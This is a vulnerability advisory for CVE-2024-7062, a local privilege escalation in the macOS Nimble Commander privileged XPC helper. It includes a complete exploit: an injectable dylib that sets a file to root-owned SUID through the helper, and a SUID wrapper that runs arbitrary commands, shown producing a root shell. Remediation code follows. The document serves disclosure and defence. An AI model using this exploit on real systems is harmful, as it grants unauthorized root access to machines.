macOS Nimble Commander <= v1.6.0 Local Privilege Escalation

Jul 24, 2024

CVE Number

CVE-2024-7062

Credits

Carlos Garrido of Pentraze Cybersecurity

Summary

Nimble Commander suffers from a privilege escalation vulnerability due to the server (info.filesmanager.Files.PrivilegedIOHelperV2) performing improper/insufficient validation of a client’s authorization before executing an operation. Consequently, it is possible to execute system-level commands as the root user, such as changing permissions and ownership, obtaining a handle (file descriptor) of an arbitrary file, and terminating processes, among other operations.

CVSS

8.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Details

When admin mode is enabled, the tool installs a utility in the PrivilegedHelperTools directory: /Library/PrivilegedHelperTools/info.filesmanager.Files.PrivilegedIOHelperV2. This server/utility is automatically started by launchd at load (as specified in its plist file with RunAtLoad set to true) and operates with root privileges.

As a result, client will contact the server (info.filesmanager.Files.PrivilegedIOHelperV2) via XPC Inter-Process Communication (IPC) whenever it needs to perform any privileged action on the operating system.

Due to the macOS security model, in factored applications where privileges are separated into different components (such as PrivilegedHelperTools), it is essential to perform thorough validation (on the server side) of the client attempting to contact it and execute a specific operation.

Server (info.filesmanager.Files.PrivilegedIOHelperV2) allowed operations:

Under normal conditions, the client has the capability to connect and send a message (dictionary - xpc_object_t) to the server, specifying the type of operation to execute. The allowed operations are described in the following structure, g_Handlers:

static constexpr frozen::unordered_map<frozen::string, bool (*)(xpc_object_t), 23> g_Handlers{
    {"heartbeat", HandleHeartbeat}, //
    {"uninstall", HandleUninstall}, //
    {"exit", HandleExit},           //
    {"open", HandleOpen},           //
    {"stat", HandleStat},           //
    {"lstat", HandleLStat},         //
    {"mkdir", HandleMkDir},         //
    {"chown", HandleChOwn},         //
    {"chflags", HandleChFlags},     //
    {"lchflags", HandleLChFlags},   //
    {"chmod", HandleChMod},         //
    {"chmtime", HandleChTime},      //
    {"chctime", HandleChTime},      //
    {"chbtime", HandleChTime},      //
    {"chatime", HandleChTime},      //
    {"rmdir", HandleRmDir},         //
    {"unlink", HandleUnlink},       //
    {"rename", HandleRename},       //
    {"readlink", HandleReadLink},   //
    {"symlink", HandleSymlink},     //
    {"link", HandleLink},           //
    {"killpg", HandleKillPG},       //
    {"trash", HandleTrash}          //
};

What each operation does is self-explanatory based on its name. The issue is that if a malicious and unauthorized client, as we will see later, successfully establishes a remote connection with the server, we can execute any of these sensitive operations (such as chmod, chown, etc.) as the root user.

Vulnerability Code Analysis - Client Validation and Authentication:

When a client attempts to establish a connection to the server via the function xpc_connection_create_mach_service(SERVICE, NULL, 0);, the server invokes two functions to validate the client: bool AllowConnectionFrom(const char * client_path) and bool CheckSignature(const char * client_path), as illustrated below:

if( !AllowConnectionFrom(client_path) || !CheckSignature(client_path) ) {
        syslog_warning("Client failed checking, dropping connection.");
        xpc_connection_cancel(_connection);
        return;
    }

If everything proceeds correctly, the server handles the event via XPC_Peer_Event_Handler(_connection, event);.

  • Vulnerability Code Analysis - CheckSignature(client_path):

static const char *g_SignatureRequirement =
    "identifier info.filesmanager.Files and "
    "certificate leaf[subject.CN] = \"Developer ID Application: Mikhail Kazakov (AC5SJT236H)\"";

SecStaticCodeRef ref = nullptr;
status = SecStaticCodeCreateWithPath(url, kSecCSDefaultFlags, &ref);

SecRequirementRef req = nullptr;
static CFStringRef reqStr = CFStringCreateWithCString(nullptr, g_SignatureRequirement, kCFStringEncodingUTF8);
status = SecRequirementCreateWithString(reqStr, kSecCSDefaultFlags, &req);

status = SecStaticCodeCheckValidity(ref, kSecCSCheckAllArchitectures, req);

syslog_notice("Called SecStaticCodeCheckValidity(), verdict: %s", status == noErr ? "valid" : "not valid");

First, we create a code requirement string with SecRequirementCreateWithString. This requires a reference (req) where it can store the “requirement reference” and a string (reqStr) representing our code requirement.

Breaking down the requirement: The “info.filesmanager.Files” verifies the Bundle ID. Next, “certificate leaf[subject.CN] = "Developer ID Application: Mikhail Kazakov (AC5SJT236H)” verifies the Team ID.

Finally, the actual verification is performed by using our requirement and the code object using SecStaticCodeCheckValidity().

The issue arises from the fact that the application does not validate the client’s version at any point, for example: "info [CFBundleShortVersionString] >= \"1.5\"". However, validating the client’s version is only meaningful and useful if we know that certain versions of the client prevent injection attacks (e.g., DYLIB Injection).

If we don’t want to verify the client version, we should still verify its code signing flags and ensure that it was signed with hardened runtime and/or library validation (CS_REQUIRE_LV). We will cover this procedure at the end of this report.

The issue lies in the fact that the server does not validate either the code signing flags or the client’s version.

  • Vulnerability Code Analysis - AllowConnectionFrom(client_path):

static bool AllowConnectionFrom(const char *_bin_path)
{
    if( !_bin_path )
        return false;

    const char *last_sl = strrchr(_bin_path, '/');
    if( !last_sl )
        return false;

    return strcmp(last_sl, "/Nimble Commander") == 0;
}

This function validates whether the connecting client’s path ends with "/Nimble Commander".

To bypass this specific filter, it is sufficient to have a client whose name is "Nimble Commander". However, this only solves part of the issue, as if we do not have a client that meets the g_SignatureRequirement, we will not be able to interact with the server and perform arbitrary operations.

  • Vulnerability Code Analysis - Authentication:

In addition to validating the client using the AllowConnectionFrom(client_path) and CheckSignature(client_path) functions, the client must send an authentication message (dictionary - xpc_object_t) before requesting that the server perform any operation. The dictionary must contain a boolean element, where the key to access this value is called "auth". If the value of this key is not "true", the server will not process our subsequent operation:

  if( xpc_dictionary_get_value(_event, "auth") != nullptr ) {
            if( xpc_dictionary_get_bool(_event, "auth") == true ) {
                context->authenticated = true;
                send_reply_ok(_event);
            }
            else
                send_reply_error(_event, EINVAL);
            return;
        }

Client Validation Bypass - Introduction:

The latest version of the software is 1.6.0, Build 4087. If we download the image (.dmg), mount it, and analyze the code signing flags of the installer (/Volumes/Nimble\ Commander/Nimble\ Commander.app/Contents/MacOS/Nimble\ Commander), we find the following:

Executable=/Volumes/Nimble Commander/Nimble Commander.app/Contents/MacOS/Nimble Commander
Identifier=info.filesmanager.Files
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=62883 flags=0x10000(runtime) hashes=1954+7 location=embedded
Signature size=8980
Authority=Developer ID Application: Mikhail Kazakov (AC5SJT236H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=May 14, 2024 at 3:40:43 PM
Info.plist entries=35
TeamIdentifier=AC5SJT236H
Runtime Version=14.2.0
Sealed Resources version=2 rules=13 files=144
Internal requirements count=1 size=216
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.application-identifier</key><string>AC5SJT236H.info.filesmanager.Files</string><key>com.apple.developer.team-identifier</key><string>AC5SJT236H</string><key>com.apple.security.automation.apple-events</key><true/></dict></plist>

Although the client meets the (g_SignatureRequirement) criterion, we cannot exploit it to inject code and interact with the server to execute arbitrary commands because the binary is signed with “Hardened Runtime”. Therefore, it benefits from the same protections as a binary protected by SIP (rootless).

However, what if we can find a version of the application installer that is signed with the certificate (Mikhail Kazakov - Team ID: AC5SJT236H) and has a Bundle ID of info.filesmanager.Files, but is not signed with “Hardened Runtime”?

If we check the list of releases available at https://magnumbytes.com/downloads/releases/old/, we will find a binary with Hardened Runtime disabled:

nimble-commander-1.1.2(1621).dmg	2016-08-25 00:22	4.0M	 
nimble-commander-1.1.3(1695).dmg	2016-07-27 01:25	4.0M	 
nimble-commander-1.1.5(1812).dmg	2016-09-29 04:20	4.9M	 
nimble-commander-1.2.0(2085).dmg	2017-03-10 20:35	5.0M	 
.
.
<SNIP>
.
.	 
nimble-commander-1.3.0(3711).dmg	2021-10-16 17:17	10M	 
nimble-commander-1.4.0(3883).dmg	2022-12-25 14:11	10M	 
nimble-commander-1.5.0(3981).dmg	2023-12-18 12:52	9.4M	 

If we take the version 1.1.2, Build 1621 (nimble-commander-1.1.2(1621).dmg) and validate the code signing flags of the installer (/Volumes/Nimble Commander/Nimble Commander.app/Contents/MacOS/Nimble Commander), we will find the following:

Executable=/Volumes/Nimble Commander/Nimble Commander.app/Contents/MacOS/Nimble Commander
Identifier=info.filesmanager.Files
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20200 size=34871 flags=0x0(none) hashes=1082+5 location=embedded
Signature size=8918
Authority=Developer ID Application: Mikhail Kazakov (AC5SJT236H)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=Jun 4, 2016 at 7:58:58 AM
Info.plist entries=29
TeamIdentifier=AC5SJT236H
Sealed Resources version=2 rules=12 files=99
Internal requirements count=1 size=216
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict></dict></plist>

As we can observe, this version of the binary (1.1.2) was signed with the same certificate as the latest version released to date (1.6.0), with the exception that version 1.1.2 was not signed (flags=0x0) with “Hardened Runtime”. This means we can use this version of the client to inject malicious code, effectively using it as an intermediary to contact the server - PrivilegedHelperTool utility (info.filesmanager.Files.PrivilegedIOHelperV2 - version 1.6.0) and execute arbitrary operations that may allow us to escalate to root.

Additionally, by using version 1.1.2, we can logically bypass the validation performed by the previously explained function, AllowConnectionFrom(client_path).

Client Validation Bypass - Exploit:

  • Dynamic Library (DYLIB):

To exploit the server latest version (1.6.0), we will create a library (DYLIB) to be injected into the client that was not signed (flags=0x0) with “Hardened Runtime” (1.1.2). As a result, we will establish a successful remote connection with the server. In our case, we will execute three operations:

  1. Authentication.
  2. Change the user and group (chown) of a file.
  3. Assign SUID permissions (chmod) to the file.
#include <stdio.h>
#include <xpc/xpc.h>

#define SERVICE  "info.filesmanager.Files.PrivilegedIOHelperV2"


__attribute__((constructor))
static void privesc()
{

printf("[+] Nimble Commander - macOS Local Privilege Escalation Exploit:\n\n");

// Change permissions (suid) operation array declaration
xpc_object_t chmod_operation = xpc_dictionary_create(NULL, NULL, 0);

// Change owner (chown) array declaration
xpc_object_t chown_operation = xpc_dictionary_create(NULL, NULL, 0);

// Authentication array declaration
xpc_object_t authentication = xpc_dictionary_create(NULL, NULL, 0);

// Authentication array definition
xpc_dictionary_set_bool(authentication, "auth", true);

// Change Owner (chown) operation array definition
xpc_dictionary_set_string(chown_operation, "operation", "chown");
xpc_dictionary_set_string(chown_operation, "path", "/Users/garrido/Research/privesc");
xpc_dictionary_set_int64(chown_operation, "uid", 0);
xpc_dictionary_set_int64(chown_operation, "gid", 0);

// Change permissions (suid) operation array definition
xpc_dictionary_set_string(chmod_operation, "operation", "chmod");
xpc_dictionary_set_string(chmod_operation, "path", "/Users/garrido/Research/privesc");
xpc_dictionary_set_int64(chmod_operation, "mode", 04755);

xpc_connection_t conn = xpc_connection_create_mach_service(SERVICE, NULL, 0);

xpc_connection_set_event_handler(conn, ^(xpc_object_t event){

	printf("[+] Received Message on generic handler\n");
	printf("%s\n", xpc_copy_description(event));

});

xpc_connection_resume(conn);

xpc_connection_send_message_with_reply(conn, authentication, NULL, ^(xpc_object_t event){
	
	printf("[+] Authentication Message: %p\n", event);
	printf("[+] Authentication Description: %s\n", xpc_copy_description(event));
	BOOL response = xpc_dictionary_get_bool(event, "ok");
	printf("[+] Authentication results: %hhd\n\n", response);
	
	xpc_connection_send_message_with_reply(conn, chown_operation, NULL, ^(xpc_object_t event)
	{
		printf("[+] Change Owner - chown [HandleChOwn]  Message: %p\n", event);
		printf("[+] Change Owner  - chown [HandleChOwn] Description: %s\n", xpc_copy_description(event));
		BOOL response = xpc_dictionary_get_bool(event, "ok");
		printf("[+] Change Owner - chown [HandleChOwn] results: %hhd\n\n", response);
	});	

	xpc_connection_send_message_with_reply(conn, chmod_operation, NULL, ^(xpc_object_t event)
	{
		printf("[+] Change permissions - suid [HandleChMod] Message: %p\n", event);
		printf("[+] Change permissions - suid [HandleChMod] Description: %s\n", xpc_copy_description(event));
		BOOL response = xpc_dictionary_get_bool(event, "ok");
		printf("[+] Change permissions - suid [HandleChMod] results: %hhd\n\n", response);

	});

});

sleep(10);

}
  • SUID Binary:

The target binary (privesc), for which the server (info.filesmanager.Files.PrivilegedIOHelperV2) will assign SUID permissions, as well as set the root user and the wheel group as owners, will be one that executes arbitrary system commands via the execvp function:

#include <stdio.h>
#include <unistd.h>

int main(int argc, char ** argv)
{
printf("[+] EUID: %d\n", geteuid());
execvp(argv[1], &argv[1]); 
return 0;
}

Client Validation Bypass - Privilege Escalation:

garrido@Garridos-MacBook-Air Research % ls -l privesc
-rwxr-xr-x  1 garrido  staff  49520 Jul 21 15:24 privesc
garrido@Garridos-MacBook-Air Research % ./privesc whoami
[+] EUID: 501
garrido
garrido@Garridos-MacBook-Air Research % DYLD_INSERT_LIBRARIES=NimbleCommander3.dylib /Volumes/Nimble\ Commander/Nimble\ Commander.app/Contents/MacOS/Nimble\ Commander
[+] Nimble Commander - macOS Local Privilege Escalation Exploit:

[+] Authentication Message: 0x600002990000
[+] Authentication Description: <dictionary: 0x600002990000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"ok" => <bool: 0x7ff848d0e190>: true
}
[+] Authentication results: 1

[+] Change Owner - chown [HandleChOwn]  Message: 0x600002998000
[+] Change Owner  - chown [HandleChOwn] Description: <dictionary: 0x600002998000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"ok" => <bool: 0x7ff848d0e190>: true
}
[+] Change Owner - chown [HandleChOwn] results: 1

[+] Change permissions - suid [HandleChMod] Message: 0x600002998000
[+] Change permissions - suid [HandleChMod] Description: <dictionary: 0x600002998000> { count = 1, transaction: 0, voucher = 0x0, contents =
	"ok" => <bool: 0x7ff848d0e190>: true
}
[+] Change permissions - suid [HandleChMod] results: 1

^C
garrido@Garridos-MacBook-Air Research % ls -l privesc   
-rwsr-xr-x  1 root  wheel  49520 Jul 21 15:24 privesc
garrido@Garridos-MacBook-Air Research % ./privesc whoami
[+] EUID: 0
root

Remediation:

The NSXPCConnection class has a public property (processIdentifier) and a private property (auditToken). These properties store the PID and audit token of the connecting process, respectively. Relying on processIdentifier is insecure (PID Reuse attack), but gaining access to the auditToken requires the workaround shown below:

We create an ExtendedNSXPCConnection extension to the NSXPConnection class, and define the auditToken property. Next, we implement this class. We can then type cast the connection to ExtendedNSXPCConnection, allowing us to access the auditToken private attribute.

The problem with this method is that auditToken is a private property, which Apple could change at any time. This would make our code unrealiable in the long run. Alternatively, we could choose the insecure PID.


@interface ExtendedNSXPCConnection : NSXPCConnection
{
    audit_token_t auditToken;
}
@property audit_token_t auditToken;
@end

@implementation ExtendedNSXPCConnection
@synthesize auditToken;
@end
...
((ExtendedNSXPCConnection*)newConnection).auditToken
...

In the case of audit tokens, we can verify code signing with the code shown below:

NSString requirementString = @"anchor trusted and identifier \"com.app.bundle\" and certificate leaf [subject.CN] = \"TEAMID\" and info [CFBundleShortVersionString] >= \"2.0\"";

SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL,
((ExtendedNSXPCConnection*)newConnection).auditToken);
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))

On the other hand, as stated earlier, if we do not want to verify the client version, we should still verify its code signing flags. With the following code, we can retrieve a dictionary (csInfo) containing all code signing information using SecCodeCopySigningInformation. From csInfo, we extract the code signing flags (csFlags) using the kSecCodeInfoStatus key:


CFDictionaryRef csInfo = NULL;

SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);

uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];

const uint32_t cs_require_lv = 0x2000; // Library validation.
const uint32_t cs_kill = 0x200; // Kill process if page is not valid.
const uint32_t cs_restrict = 0x800; // Prevent debugging.
const uint32_t cs_runtime = 0x10000; // Hardened runtime.
const uint32_t cs_hard = 0x100; // Do not load invalid pages.

if ((csFlags & (cs_hard| cs_require_lv)))
{
    return Yes; //Accept connection.
}

We can also retrieve the entitlements from the csInfo dictionary:

We retrieve the entitlements from a sub-dictionary with the entitlements-dict key.

CFDictionaryRef csInfo = NULL;

SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);

NSDictionary * signingDic = CFBridgingRelease(csInfo);

NSDictionary * entitlementsDic = [signingDic objectForKey:@"entitlements-dict"];
  • Important: We can use the same steps to verify code signature when we use the classic C API for XPC Connections.

Services

Penetration Testing

Proactive assessment using tactics, techniques, and procedures of actual attackers to identify security flaws, incorrect configurations, and vulnerabilities.

Learn more

Application Security Testing

Comprehensive application protection, ensuring robust security throughout the entire software development lifecycle.

Learn more

Red Team Exercises

Simulate and emulate advanced cyber attacks to pinpoint vulnerabilities and test your organization's defense mechanisms, ensuring robust resilience against real-world threats.

Learn more

Vulnerability Management

Proactive process to identify, prioritize, and address security vulnerabilities in systems and software, enhancing an organization's defense against evolving cyber threats.

Learn more